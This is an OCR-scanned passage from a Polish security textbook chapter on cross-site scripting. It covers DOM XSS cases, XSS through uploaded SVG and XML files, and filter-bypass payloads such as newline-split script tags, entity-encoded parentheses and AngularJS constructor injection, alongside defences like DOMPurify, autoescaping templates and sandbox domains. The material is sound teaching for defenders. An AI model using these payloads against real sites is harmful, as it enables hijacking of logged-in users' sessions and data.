spowodowato wykonanie nowego kodu. Zauwazmy, ze zmienna id zostaje
wykorzystana wewnatrz atrybutu src obrazka, co za tym idzie konieczna jest
ucieczka z tego atrybutu — a nastepnie jedna z opcji jest dodanie atrybutu
onerror, ktory spowoduje wykonanie kodu JS.

Summa summarum, XSS wykonamy, jesli przekazemy w adresie URL odpo-
wiednia warto$¢ po haszu, np.:

http://example.com/#"/onerror=alert(1)//
PRZYKLAD: POSTMESSAGE | ATRYBUT ACTION

window.addEventListener( 'message', ev => {
const url = ev.data.url;
const form = document.createElement('form');
form.action = url;
document.body.appendChild(form);
form.submit();

s

Stowo wyjasnienia do tego przyktadu: w aplikacji obstugiwane jest zdarzenie
onmessage. Wykorzystywany jest tutaj przegladarkowy mechanizm komu-
nikacji miedzy r6znymi ramkami zwany postMessage. Umozliwia on asyn-
chroniczng komunikacje pomiedzy dwiema ramkami na stronie. Wowczas
jedna ramka moze wysta¢ wiadomo$¢:

frame.postMessage(obj, '*')

a w drugiej ramce zostanie wyzwolone zdarzenie:

window.addEventListener( 'message', ev => {
// Pole ev.data zawiera to samo, co obj
// w wywotaniu postMessage

s

Jest to zatem jeden ze sposobow na przekazywanie danych do kodu JS.

W przykladowym, podatnym kodzie pobierana jest wiasciwo$¢ url z obiektu
przekazywanego przez postMessage. Dalej tworzony jest obiekt typu <form>,
w ktérym przypisywane jest pole action, a nastepnie formularz jest auto-
matycznie wysytany. Niebezpieczenstwo wystepuje w przypisaniu do action
— jest to jedno z miejsc, ktore przyjmuje adres URL, a zatem mozliwe jest
przekazanie protokolu javascript:. Praktyczne wykorzystanie podatnosci
mogtoby wiec polegac na umieszczeniu podatnej strony w elemencie <iframe>
i wykonaniu do niego postMessage, np.:
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<iframe src="podatna-strona.html" onload=attack()></iframe>
<script>
function attack() {
frames[0].postMessage({
url: 'javascript:alert(1)'
L)
}

</script>
PRZYKLAD: FETCH | EVAL

FRAGMENT async function vulnerable() {
KODU: const f = await fetch('pewna-strona.json');
const json = await f.json();

eval(json.name);

}

ANALIZA: Ten przyktad rézni sie od pozostatych, poniewaz musza zosta¢ spelnione
jeszcze dodatkowe warunki, niewidoczne bezposrednio w analizowanym
fragmencie kodu, by w aplikacji wystapit XSS. Aplikacja pobiera pewnego
JSON-a, z ktérego nastepnie wycigga pole name i przekazuje bezposrednio
jako argument funkcji eval. W tym przykladzie jest potencjat na XSS, ale
jego wykorzystanie bedzie mozliwe tylko wtedy, jesli uzytkownik (np. przez
inng funkcjonalno$¢ aplikacji) bedzie miat kontrole nad tym, co znajduje sie
w polu name. Jesli okaze sie, ze tak, to wykorzystanie XSS sprowadza sie do
ustawienia wartos$ci alert(1) w tym polu.

XSS NIE TYLKO W HTML

Wszystkie przedstawione dotychczas przyklady zakladaty, ze wprowadzenie XSS
do aplikacji zawsze wiaze sie z jaka$ strona w HTML. W rzeczywistoSci nie zawsze
tak musi by¢ i inne formaty plikéw réwniez moga pozwoli¢ na wykonanie wtasnego
kodu JS.

Zat6zmy, ze mamy w aplikacji funkcjonalno$¢ wgrywania plikow na serwer.
Przykladowo aplikacja moze dziala¢ w adresie URL https://example.com, a pli-
ki wgrane przez uzytkownikéw beda serwowane z https://example.com/uploads/.
W nastepnych przykladach zakladamy, ze za kazdym razem wgrywany plik bedzie
mial nazwe test — a za nim odpowiednie rozszerzenie. Pierwszym prostym warian-
tem wykorzystania podatnosci jest wgranie na serwer pliku HTML o tresci <!doc-
type html><script>alert(1)</script>.

Po przejsciu pod https://example.com/uploads/test.html powyzszy kod zostanie
wykonany, skutkujac tym samym XSS.

Twérca aplikacji moze zabezpieczy¢ sie przed tym atakiem i zablokowa¢ mozliwos¢
wgrywania plikéw HTML. Jakie inne pliki mozna wéwczas uploadowac? Z kronikar-
skiego obowiazku wypada wspomnie¢ o SWF (pliki Flasha), ktére pozwalaja wyko-
na¢ XSS3, cho¢ ze wzgledu na coraz szybsze odchodzenie od tej technologii wydaje
sie, ze ataki z jej uzyciem beda w najblizszych latach juz niepraktyczne”.

* By¢ moze, Drogi Czytelniku, w chwili gdy czytasz te stowa, Flash jest juz tylko (nie)mitym wspomnieniem z przesztosci. ...



XSS a dopuszczanie fragmentéw HTML

Inny sposéb na wykonanie kodu JS oferuja pliki XML. W szczeg6lnosci cie-
kawym formatem jest opierajacy sie na XML format SVG. Cze$¢ aplikacji WWW
pozwala na upload plikéw SVG, jako ze jest to format obrazkéw. Nie wszyscy zdaja
sobie jednak sprawe, ze SVG moze tez zawiera¢ skrypty, ktére zostaja wykonane
w kontekscie witryny, z ktorej plik SVG jest uruchomiony. Wystarczy wiec przygo-
towac plik o zawartosci:

<svg xmlns="http://www.w3.0rg/2000/svg">
<script>alert(1)</script>
</svg>

Po jego uploadzie na serwer i przejSciu pod adres https://example.com/uploads/test.svg —
wykona sie XSS!

Analogiczny atak moze zadziata¢ w dowolnym innym formacie opierajacym sie
na XML. Najbardziej uniwersalnym kodem, ktérego mozna wéwczas uzy¢, by prze-
testowa¢ wystepowanie podatnosci, jest ponizszy:

<?xml version="1.0" encoding="UTF-8"?>
<html xmlns="http://www.w3.0rg/1999/xhtml">
<script>alert(1)</script>

</html>

Zdefiniowanie atrybutu xmlns o wartosci http://www.w3.org/1999/xhtml w glow-
nym elemencie XML powoduje, ze przegladarka zaczyna traktowa¢ ten dokument
niemalze tak, jak gdyby byl zwyklym HTML-em. Co za tym idzie, pojawia sie
mozliwo$¢ wykonania dowolnego kodu JS.

XSS A DOPUSZCZANIE FRAGMENTOW HTML

W niektérych aplikacjach oczekuje sie, by uzytkownik mogt w sposéb bezposred-
ni lub posredni w niektérych polach uzywac kodu HTML. Je$li mamy np. system blo-
gowy, w ktorym uzytkownik moze pisa¢ wlasne notki, to norma jest mozliwos¢ usta-
wienia dowolnego formatowania tekstu (np. pogrubienia, pochylenia) czy wstawienia
wlasnych obrazkéw. Nie zawsze formatowanie tekstu odbywa sie stricte poprzez edy-
cje kodu HTML; czasem uzywane s inne jezyki, np. Markdown*. Nie zmienia to jed-
nak faktu, ze silnik przetwarzajacy jezyk Markdown po jego przetworzeniu zamienia
go na HTML. Tak wiec i tutaj moze potencjalnie wystapi¢ niebezpieczenstwo.

Naturalne jest zatem pytanie: w jaki sposob sprawi¢, by uzytkownicy mogli uzy-
wac ,,bezpiecznych” tagobw HTML (takich jak <b>, <u> czy <img>), ale nie byli w sta-
nie wstrzykna¢ zlosliwego kodu (czyli np. tagu <script> czy zdarzen typu oner-
ror). Najbardziej zalecane jest uzywanie bibliotek stuzacych do czyszczenia kodu
HTML. W jezyku angielskim zazwyczaj w ich nazwie pojawia sie stowo sanitize
lub purify (np. HtmlSanitizer®, DOMPurifyS, Html Purifier” itp.). Dzialanie tego typu
bibliotek polega z reguly na rzeczywistym parsowaniu kodu HTML i zdefiniowaniu
listy dopuszczalnych tagéw i atrybutéw HTML; wszystkie pozostale tagi i atrybuty
sa zatem automatycznie odrzucane. Jako przyklad wezmy biblioteke DOMPurify
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rozwijang przez niemiecka firme Cure53. Zobaczmy, w jaki sposéb kod HTML

zostaje przez te biblioteke przetworzony i ,,oczyszczony” ze zlosliwych elementow:

Tabela 3. Przyktady dziatania biblioteki DOMPurify

WEJSCIOWY HTML

<b>Pogrubiony tekst</b>
i obrazek:<img src=test.
png onerror=alert(1)>

<p>Skrypt:</p>
<script>alert(1)
</script>

<noscript></noscript>
<template>
</template><p>Akapit</p>

<a href="https://securi-
tum.pl”>

Bezpieczny link</a>

<a href="javascript:
alert(1)">
Niebezpieczny link</a>

HTML WYCZYSZCZONY
PRZEZ DOMPURIFY

<b>Pogrubiony tekst</b>
i obrazek:
<img src="test.png">

<p>Skrypt:</p>

<p>Akapit</p>

<a href="https://securi-
tum.pl">

Bezpieczny link</a>
<a>Niebezpieczny link</
a>

KOMENTARZ

Niegrozne tagi <b>, jak

i <img> pozostaty w HTML,
ale usuniety zostat niebez-
pieczny atrybut onerror.

Niebezpieczny tag <script>
zostat catkowicie usuniety.

Tagi takie jak <noscript>
czy <template> nie znajduja
sie na liScie dopuszczonych
tagéw, wiec zostaty usuniete.

W przykladzie zostaty uzyte
dwa linki — jeden prowa-
dzacy do protokohu http:,

a drugi do protokotu java-
script:. Ten drugi nie znaj-
duje sie na domyslnej liscie
dopuszczalnych protokotéw,
co skutkowato usunieciem
atrybutu href z tego linku.

W kazdej z bibliotek pozwalajacych czy$ci¢ HTML istniejq tez mozliwosci ich kon-

figuracji. Co za tym idzie, mozliwe jest zwiekszenie listy dopuszczalnych tagéw
lub — wrecz przeciwnie — jeszcze mocniejsze jej ograniczenie.

OCHRONA PRZED XSS

W tym rozdziale w duzej mierze skupiamy sie na réznych wariantach atakéw, za
pomoca ktérych mozna przeprowadzi¢ XSS. Teraz, dla odmiany, sprébujmy podejs$¢
kompleksowo do tematu obrony, tj. zastanowic sie, jak nalezy postepowac od strony
programistycznej w aplikacji, by mozliwie skutecznie zabezpieczy¢ sie przed XSS.

Enkodowanie danych

W czesci dotyczacej kontekstéw XSS wspomniatem juz, ze podstawowa meto-
da obrony przed XSS jest enkodowanie danych w sposéb wtasciwy do kontekstu,
w ktorym te dane sie pojawiaja. W wielu jezykach programowania istniejg nawet
biblioteki, ktére ulatwiajg zastosowanie enkodowania. Przyktadowo we framewor-
ku .NET istnieje klasa System.Web.Security.AntiXss.AntiXssEncoder®, w ktérej
zdefiniowano szereg metod, m.in:
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» HtmlAttributeEncode — enkodowanie danych znajdujacych sie w warto$ci
atrybutu,

» HtmlEncode — enkodowanie danych w samym HTML,
UrlEncode — enkodowanie danych do umieszczenia w adresie URL.

Co do zasady uzycie tego typu metod jest stuszne i jesli beda konsekwentnie stoso-
wane w catej aplikacji, to zabezpieczymy sie przed podatnoscia XSS na poziomie
generowania HTML.

W praktyce tego typu podejscie ma kilka mankamentéw. Programisci to tylko
ludzie i z powodu stabszego dnia, poSpiechu czy oddechu przelozonego na plecach
moga zapomnie¢ uzy¢ odpowiedniej metody lub przez przypadek zastosowac nie-
wlasciwa. Podatno$¢ w takim przypadku pojawia sie w aplikacji nie ze wzgledu na
brak wiedzy czy $wiadomosci, ale z powodu zwyklej ludzkiej pomy}ki.

Dlatego zaleca sie stosowac inne rozwiazania, ktére zminimalizuja ryzyko bledu
programisty niemal do zera ze wzgledu na to, ze domy$lnie beda poprawnie enko-
dowac¢ dane. Takim rozwiazaniem jest uzycie systemu szablonow.

Systemy szablonéw z automatycznym enkodowaniem

Praktycznie wszystkie szanujace sie frameworki do pisania aplikacji webowych
domyslnie sq spiete z systemem szablondw. Ich sens sprowadza sie do umozliwienia
programistom wygodnego generowania widokéw w aplikacji.

Silniki szablonéw na wejsciu potrzebuja zasadniczo dwoch elementéw:

» tekstowego szablonu,

» modelu danych.

Jako przyklad, zal6zmy, ze zdefiniujemy nastepujacy szablon: <p>Hello {{ user
.name }}!</p>.

Osobno musimy zdefiniowa¢ model danych — w powyzszym przyktadzie mozemy
sobie wyobrazi¢, ze jest nim klasa reprezentujaca uzytkownika. Zat6zmy, ze mamy
nastepujacy obiekt:

class User:
name = 'John’
age = 44

Woéwczas silnik szablonéw, taczac jedno z drugim, wygeneruje wyjsciowy kod HTML:
<p>Hello John</p>.

W kontekscie aplikacji webowych, silniki szablonéw maja zazwyczaj wiaczony
autoescaping, tj. automatyczne enkodowanie danych w sposéb wlasciwy dla kon-
tekstu. Jesli pole user.name przyjelo warto$¢ <script>alert(1)</script>, zosta-
nie wygenerowany HTML w formie: <p>Hello &lt;script&gt;alert(1)&Lt;/
script&gt;!</p>.

Popularne silniki szablonéw, ktére zapewnia nam takie zabezpieczenie, to m.in.
TWIG, Django Templates, Jinja, JTwig i inne. Oczywiscie HTML moze by¢ genero-
wany nie tylko po stronie serwera, ale réwniez za pomoca frameworka JS (np. Angular,
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Vue, React, Polymer itp.). We frameworkach JS silniki szablonéw dziataja podob-
nie, a szerzej oméwiono je w dalszej czesci (XSS a popularne biblioteki JS) tego
rozdziahu.

Warto mie¢ na uwadze, ze czes$¢ silnikéw szablonéw nie radzi sobie dobrze z za-
bezpieczeniem danych bedacych adresem URL. Zal6zmy, ze mamy nastepujacy
szablon:

<h1>User data</h1>
<p>Go to <a href="{{ user.blog url }}">my blog</a>.</p>

Warto w takiej sytuacji przetestowad, jak zachowa sie silnik szablonéw, jesli sprobuje-
my podac adres URL typu javascript:alert(1). Moze sie okaza¢, ze niebezpieczny
protokdt pozostanie w HTML! W takiej sytuacji — niestety — jesteSmy zmuszeni recznie
weryfikowac¢ poprawno$¢ adresow URL umieszczanych w kodzie strony.

Ochrona przed DOM XSS

O ile dobre silniki szablonéw potrafia nas niemal w 100% zabezpieczy¢ przed XSS
na poziomie generowania HTML, o tyle nie pomoga nam w kodzie JS, ktéry sami
napiszemy. Czyli jesli uzyjemy w kodzie funkcji eval na danych uzytkownika... to
mamy powazny problem! Dlatego w przypadku DOM XSS nalezy pamietac o kilku
dobrych praktykach:

1. Nie uzywac funkcji takich jak eval czy Function, przekazujac do nich nie-
zaufane dane uzytkownika. Jesli z jakiego§ powodu uzycie tego typu funk-
cji jest niezbedne, to dane nalezy wczesniej bardzo dokladnie zwalidowac
(np. ciag znakow wpisany przez uzytkownika moze skladac¢ sie tylko ze zna-
kéw alfanumerycznych).

2. Nie uzywac¢ funkcji i wlasciwosci przypisujacych bezposrednio kod HTML do
elementéw drzewa DOM (np. innerHTML, outerHTML, insertAdjacentHTML,
document.write). Zamiast nich mozna skorzysta¢ z funkcji przypisujacych
bezposrednio tekst do tych elementéw, jak textContent czy innerText.

3. Uwaza¢ w przypadku przekierowania uzytkownika pod adres URL, nad kt6rym
ten uzytkownik ma kontrole (ryzyko to np. location = 'javascript:alert(1)").
W takich przypadkach nalezy walidowa¢, czy adres URL podany przez uzyt-
kownika prowadzi do protokolu HTTP lub HTTPS.

Filtrowanie HTML

Jak juz wspomniatem w podrozdziale XSS a dopuszczanie fragmentéw HTML,
jezeli przypadkiem uzycia, ktéry rozpatrujemy w aplikacji, jest potrzeba pozwole-
nia uzytkownikom na formatowanie tekstu, to powinnismy uzy¢ biblioteki, ktéra
wyczysci HTML ze zlo$liwych elementéw (np. DOMPurify).

Warto jednak poswieci¢ tez chwile i zastanowi¢ sie, w jaki sposéb nie realizo-
wac filtrowania HTML. Moze zaobserwujecie podobny kod w Waszych aplikacjach
i wéwczas bedziecie wiedzieli, Ze wymaga on zmiany!

Stosunkowo czesto podczas testow bezpieczenistwa zywych aplikacji spotykamy
sie z sytuacja, w ktorej aplikacja nie stosuje bibliotek do czyszczenia ztosliwego
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HTML, ale prébuje to robi¢ ,,po swojemu”. Ponizej znajduje sie zestawienie kilku
takich metod, z ktérymi spotkaliSmy sie w pracach audytowych, wraz z wyjasnie-
niem sposobu obej$cia zabezpieczenia.

Tabela 4. Typowe obejscia popularnych filtrow XSS

ZABEZPIECZENIE OBEJSCIE KOMENTARZ
Wycinanie tagéw <script Powszechnie méwi sie, ze znak kropki
HTML wyrazeniem >alert(1)</script w wyrazeniach regularnych zastepu-

> je dowolny znak. W rzeczywistosci

w domyslnej konfiguracji praktycz-

nie wszystkich silnikéw wyrazen
regularnych kropka zastepuje dowolny
znak z wyjatkiem znaku nowej linii.
Jedli zatem w tagu znajdzie sie znak
nowej linii, tag nie jest dopasowany do
wyrazenia, wiec nie nastepuje zamiana.

regularnym <. *>

Wycinanie na- <img src onerror=alert Tworcy niektorych aplikacji uznaja,
wiasow (znakow &lpar;1&rpar;> ze wykonanie jakiegokolwiek groznego
(i) w postaci ¢<scripts>location= kodu JS wymaga zawsze wywolania
dostownej) 'javascript:alert\x281\x29' funkdji, a co za tym idzie — dodania
</script> nawias6w. Jednak zar6wno w samym

HTML, jak i w JS istnieja sposoby

na zapisanie znakow nawiaséw nie

w postaci dostownej, np. za pomoca en-
cji lub enkodowania znak6w w stringu.

Wycinanie zdarzen <img src=""onerror= Bardzo czesto w tego typu zabezpie-

JS, np. onerror alert(1)> czeniach zaktada sie, ze bezposrednio
przed zdarzeniami w HTML typu
onclick, onload czy onerror musi
znajdowac sie spacja (lub ogdlniej:
bialy znak). Nie jest to prawda; jednym
z przyktadowych obejs¢ jest uzycie
wartosci atrybutu w cudzystowach
i rozpoczecie kolejnego atrybutu bezpo-
Srednio za zamykajacym cudzystowem.

Upload plikow

Upload plikéw moze skutkowa¢ podatnoscia XSS, jesli zuploadowany zostanie
plik typu .html lub .svg. Najbardziej zalecana ochrona przed tego typu XSS to wy-
dzielenie osobnej domeny (tzw. domeny sandboksowej), z ktdrej serwowane beda
pliki wgrywane przez uzytkownikow.

Przykladowo: jesli aplikacja dziala w domenie https://example.com, lepiej nie
serwowac plikéw z https://example.com/uploads, poniewaz kod JS wykonujacy sie
w tamtym miejscu ma pelny dostep do danych z catej domeny https://example.com.
Zamiast tego zaleca sie wygenerowac osobng subdomene (np. https://uploads.exam-
ple.com) lub nawet catkowicie osobna domene (np. https://uploads-example.com).
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Skrypt z tak zdefiniowanych domen nie ma juz dostepu do danych z https://exam-
ple.com. Kazda subdomena moze jednak ustawiac¢ ciasteczka dla domeny nadrzed-
nej, co skutkuje ryzykiem przeprowadzenia ataku przez ten mechanizm. Dlatego
najbezpieczniejsze jest stworzenie catkowicie osobnej domeny.

Przykladem tego typu rozwigzania w zZywym $wiecie jest domena https://www
.google.com i domena https://googleusercontent.com, z ktérej serwowane sg pliki
wgrywane przez uzytkownikéw. Analogicznie wyglada to w GitHubie (https:/git-
hub.com i https://raw.githubusercontent.com).

Content-Security-Policy
Mechanizmem, ktéry moze ochroni¢ przed skutkami podatno$ci XSS, jest
Content-Security-Policy".

Filtry anty-XSS w przegladarkach

Jesli aplikacja webowa nie jest poprawnie zabezpieczona przed XSS, ostatnia
nadzieja w powstrzymaniu proby ataku tkwi w przegladarkach. Do drugiej potowy
2019 roku wszystkie popularne przegladarki webowe z wyjatkiem Firefoksa miaty
wbudowane zabezpieczenie przed reflected XSS. W pazdzierniku 2019 zostato ono
wylaczone réwniez w przegladarce Chromium. Opis jego dzialania ponizej pozosta-
wiamy z kronikarskiego obowiazku.

Sposob dziatania tych zabezpieczen wynika z samej natury reflected XSS: w za-
pytaniu musi znalez¢ sie kod HTML, ktéry pdzniej jest odbijany w odpowiedzi.
Przegladarka zatem sprawdza, czy jakikolwiek kod JS, ktéry ma wykona¢ na obec-
nej stronie, nie znajduje sie tez przypadkiem w zapytaniu. Jesli tak jest — kod nie jest
wykonywany jako préba XSS (rysunek 7).

Rysunek 7. Przeglqdarka Chrome blokuje wykonanie kodu JS, poniewaz zauwaza,
ze taki sam fragment kodu jest tez w zapytaniu. Traktuje go wiec jako XSS

Istnieje mozliwo$¢ sterowania trybem dzialania filtra anty-XSS poprzez nagléwek
odpowiedzi serwera X-XSS-Protection. Ustawienie warto$ci tego nagtéwka na 1;
mode=block (tryb blokady) sprawi, Ze w razie wykrycia ataku XSS przegladarka nie
tyle zablokuje wykonanie kodu uznanego za ztosliwy, ile catkowicie zaprzestanie
renderowania strony (rysunek 8).

* Zob. rozdz. Content Security Policy (CSP).
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Rysunek 8. Zachowanie przeglqdarki Chrome, gdy nagtéwek X-XSS-Protection
wymusza dziatanie filtra anty-XSS w trybie blokady. W dolnej czesci komunikatu
widac ERR_BLOCKED_BY XSS_AUDITOR

Istnieje rowniez mozliwos¢ catkowitego wylaczenia filtra anty-XSS na danej pod-
stronie nagléwkiem X-XSS-Protection: 0. Na pierwszy rzut oka moze wydawac
sie to sprzeczne z intuicja, by byla potrzeba wylaczenia mechanizmu bezpieczen-
stwa, lecz rzeczywisto$¢ pokazuje, ze filtr chronigcy przed XSS moze by¢ wykorzy-
stany do przeprowadzenia innych atakow (Swietnym przykladem jest prezentacja
Masato Kinugawy pt. X-XSS-Nightmare®, jak réwniez atak XS-Search'®).
Filtr anty-XSS nalezy traktowa¢ jako absolutnie ostatnia deske ratunku, jesli
w aplikacji nie zabezpieczymy sie przed podatnos$cia XSS. W zadnym wypadku nie
nalezy zaktada¢, ze zabezpieczanie przed XSS jest zbedne, bo istnieje filtr. Wynika
to z jego licznych ograniczen:
1. Nie wszystkie przegladarki maja wbudowany filtr i nie mozna zagwaranto-
wad, ze te, ktore go maja, w ktéoryms$ momencie go nie wylacza”.
2. Regularnie znajdowane sa liczne obejscia filtra®.
3. Filtr chroni tylko przed typowymi atakami reflected XSS; nie gwarantuje zad-
nego zabezpieczenia przed innymi wariantami podatnosci.

XSS A POPULARNE BIBLIOTEKI JS

Truizmem bedzie stwierdzenie, ze wiekszos¢ aplikacji webowych jest napisanych
z uzyciem bibliotek czy frameworkéw JS (np. Angular, React, Vue, Polymer i inne).
Majac na uwadze bardzo szybki rozwo6j ekosystemu JS i postepujace w nim zmiany,
moge sie spodziewaé, Drogi Czytelniku, Ze jezeli czytasz ten tekst po 2019 roku,
to prawdopodaobnie na topie sg juz zupelnie inne frameworki. Najpewniej jednak
nadal beda dziataly w podobny sposéb, dlatego ponizej przedstawie krétka analize,
w jaki sposéb frameworki wptywaja na bezpieczenstwo — i co nam daja, jesli chodzi
o ochrone przed XSS (czy to na plus, czy to na minus).

Jednym z celéw uzycia frameworkéw JS jest ulatwione pisanie interfejséw
uzytkownika. Bardzo czesto polega to na uzyciu pewnego silnika szablonéw, ktéry

* Najlepszym na to dowodem jest fakt, ze podczas pisania tego rozdzialu Chrome miat jeszcze taki filtr wlaczony
domyslnie. Jednak w momencie dokonywania ostatniej korekty do ksiazki (pazdziernik 2019) juz go nie bylo!
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wygeneruje koicowy HTML. Skladnia najczesciej bedzie wygladata podobnie do
<div>Hello {{ user.name }}</div>.

W takim przypadku silnik szablonéw automatycznie pobierze wiasciwo$¢ user . name
z obecnego kontekstu i wstawi w HTML. Mozna wlasciwie w ciemno zaklada¢, ze
zostanie ona automatycznie odpowiednio enkodowana, by uniemozliwi¢ wprowa-
dzenie nowych tagéw HTML (gdyby framework JS tego nie robi}, to najpewniej
nadawalby sie do kosza). Jest to jednak tylko najprostszy wariant dziatania tych
frameworkéw, dalej natomiast mogq pojawic sie pewne problemy.

Dynamiczne budowanie szablonéw

Bardzo wazna kwestig jesli chodzi o uzywanie szablon6w w silnikach JS, jest fakt,
Ze powinny one by¢ statyczne, tj. uzytkownik nie powinien mie¢ zadnej kontroli nad
trecig samego szablonu. Jesli okaze sie, Ze w aplikacji tak nie jest — praktycznie na
pewno mamy XSS-a! Zobaczmy przyklad:

<div> Found results: {{ resultsCount }}</div>

<div>User name: <?php echo htmlentities($username); ?></div>

W przykladzie mamy uzyty szablon, w ktérym silnik JS pobierze z kontekstu war-
to$¢ resultsCount i wstawi w tres¢ kodu HTML. Niezaleznie od tego czes¢ szablo-
nu jest generowana dynamicznie po stronie serwera. Jest wprawdzie uzywana funk-
cja htmlentities (zamieniajaca znaki specjalne HTML, takie jak < czy >, na encje),
ale okazuje sie, Ze w tym przypadku nie wnosi to Zadnego zabezpieczenia przed XSS!

Zauwazmy, ze uzycie silnika szablonéw sprawia, ze poza standardowymi nie-
bezpiecznymi znakami dla HTML specjalne znaczenie zyskujq tez nawiasy klam-
rowe, w ktorych umieszczane sa wyrazenia. Jezeli wiec uzytkownik ustawi swoja
nazwe uzytkownika na {{ ''.constructor.constructor('alert(1)')() }}, to
PHP wypisze nastepujacy plik HTML:

<div> Found results: {{ resultsCount }}</div>

<div>User name: {{ ''.constructor.constructor('alert(1)')() }}</div>

Nastepnie silnik szablonéw dzialajacy na poziomie JS przystapi do podstawiania
wartosci wyrazen w miejscu klamer. W efekcie wykona sie kod alert(1). Dzieje
sie tak, poniewaz kazdy obiekt w JS ma wiasciwos¢ constructor. Konstruktorem
stringu jest funkcja o nazwie String. Ta funkcja réwniez ma swdj konstruktor, kté-
rym z kolei jest funkcja nazywajaca sie Function. Co ciekawe, Function dziata
bardzo podobnie do eval, tj. tworzy funkcje, ktdrej kod jest przekazywany w argu-
mencie jako ciag znakow.

Tego typu blad bezpieczenistwa bardzo czesto pojawiat sie w aplikacjach napisa-
nych w pierwszej wersji frameworka AngularJS, ale dotyczy rowniez kilku innych
silnikéw szablonéw.

Whiosek z powyzszego przykladu jest taki, ze jesli w aplikacji uzywany jest fra-
mework JS, w ktérym generowanie kodu HTML oparte jest na szablonach, nalezy
bezwzglednie pamieta¢, by szablony zawsze byly statyczne i uzytkownik nie miat
bezposredniej kontroli nad ich trescia.
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Bezposrednie podstawianie HTML

Pomimo ze frameworki JS niejako motywuja do tego, by uzywa¢ ich silnikéw
szablonéw do generowania HTML, czasem z réznych powodéw mozemy chcie¢
wstawi¢ wygenerowany w inny sposéb fragment HTML bezposrednio do drzewa
DOM strony. Przyktadem jest uzycie biblioteki do parsowania jezyka Markdown,
ktéry w wyniku generuje HTML, nastepnie umieszczany bezposrednio w drzewie
DOM.

Czasem tworcy frameworkéw prébuja zniechecaé¢ do bezposredniego wstawiania
HTML — np. w popularnym frameworku React'? funkcja, ktéra pozwala na przypi-
sanie kodu HTML do komponentu, ma dhuga i zniechecajaca nazwe: dangerously-
SetInnerHTML. Jest ona do$¢ adekwatna, bowiem niemal w kazdym frameworku
JS préba uzycia tego typu funkcji bedzie skutkowata XSS-em, jesli uzytkownik ma
bezposrednia kontrole nad fragmentem HTML.

Ciekawym wyjatkiem jest tutaj Angular w wersji wyzszej niz 1. W Angularze, by
w miejsce pewnego elementu podstawi¢ wlasny kod HTML, stosowana jest sktad-
nia <div [innerHTML]="content"> </div>.

Jako HTML tego elementu <div> podstawiona zostanie zawarto$¢ zmiennej con-
tent. Na pierwszy rzut oka miejsce to wyglada na podatne na XSS, bo innerHTML
kojarzy sie z jednym z podstawowych przykladéw DOM XSS. W rzeczywistosci tak
nie jest, gdyz Angular ma wbudowany i domysInie wlaczony HTML sanitizer. Gdy-
by zatem zawarto$¢ zmiennej content wynosita <img src=1 onerror=alert(1)>,
silnik z Angulara zostawi w niej tylko <img src="1">, uniemozliwiajac w efekcie
wykonanie XSS.

Jednakze w wiekszo$ci pozostatych frameworkéw tego typu zabezpieczenie nie
jest wbudowane i jesli chcemy mie¢ pewnos¢, ze w danym miejscu nie wystapi zto-
Sliwe wstrzykniecie HTML, nalezy recznie podpia¢ inna biblioteke typu sanitizer,
np. DOMPurify.

Putapka kontekstu URL-owego

O ile frameworki JS dobrze sobie radza z enkodowaniem danych umieszczanych
w réznych miejscach HTML, o tyle bardzo czesto pomijaja kontekst adreséw URL.
Wezmy fragment kodu <a [href]="blogUrl">Go to my blog</a>.

W tym przypadku zakladamy, ze silnik szablonéw automatycznie podstawi za-
warto$¢ zmiennej blogUrl w miejsce atrybutu href. Jezeli jej warto$¢ bedzie réwna
javascript:alert(1l), woéwczas wykonamy XSS. Okazuje sie, ze wiekszo$¢ po-
pularnych frameworkéw JS (React, Vue, Polymer itp.) nie wykryje tutaj proby XSS
i przypisze link z protokoltem javascript: do tego atrybutu! Jednym z wyjatkow
jest znéw Angular, ktéry posiada zdefiniowang liste protokotéw dopuszczalnych
w adresach URL. Jezeli adres URL nie bedzie miat protokotu z tej listy, Angular do-
pisze na poczatku unsafe:. Summa summarum, w powyzszym przykladzie Angular
wygenerowatby kod: <a href="unsafe:javascript:alert(1)">Go tomy blog</a>.

Warto zatem pamieta¢, ze jesli uzytkownik ma mozliwo$¢ podania adresu URL,
to nalezy walidowac, czy jest on w protokole HTTP lub HTTPS, i odrzuca¢ wszyst-
kie pozostale protokoty.
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Frameworki a DOM XSS

Zwré¢my uwage, Ze frameworki JS zabezpiecza nas przed XSS na poziomie gene-
rowania kodu HTML, nie poradzg sobie jednak z wieloma innymi przyktadami DOM
XSS — jesli wiec uzyjemy funkcji eval w kodzie JS, to XSS nadal bedzie mozliwy!

PODSUMOWANIE

W tym rozdziale poruszyliSmy temat podatnosci XSS — zaczynajac od jej ogol-
nego opisu, poprzez skutki, az do réznych sposobé6w wykorzystania. Pamietajmy,
ze podatno$¢ XSS zazwyczaj polega na mozliwosci wstrzykniecia wlasnego kodu
HTML, ktéry w srodku ma rowniez kod JS. Istotq podatnosci jest mozliwos$¢ wyko-
nania wlasnego kodu JS na cudzej stronie internetowej.

Glowne skutki podatnosci XSS to mozliwo$¢:

» wykonania dowolnych akcji w kontekscie zalogowanego uzytkownika,

» odczytu dowolnych danych w kontekscie zalogowanego uzytkownika.

Ochrona przed XSS to gléwnie enkodowanie danych w sposéb odpowiedni dla kon-
tekstu, w ktorym te dane sa umieszczane. W praktyce czesto uzywa sie silnikow
szablon6w, ktére automatycznie wykrywaja kontekst i enkoduja dane.

Jezeli w aplikacji uzytkownicy maja mie¢ mozliwo$¢ pisania wlasnego HTML
(np. w celu tworzenia sformatowanego tekstu), dobra praktyka jest uzycie biblioteki
typu sanitizer, ktéra wyczysci HTML ze ztosliwych elementow.

W przypadku uzywania frameworkéw JS nalezy pamietac¢ o niebudowaniu w spo-
sob dynamiczny szablondw po stronie serwera.

Jesli uzytkownik ma mozliwos¢ uploadu plikédw, najlepiej serwowac je z innej
domeny, niz dziata sama aplikacja.

Aby chronic¢ sie przed DOM XSS, nalezy pamieta¢ o nieuzywaniu funkcji takich
jak eval.
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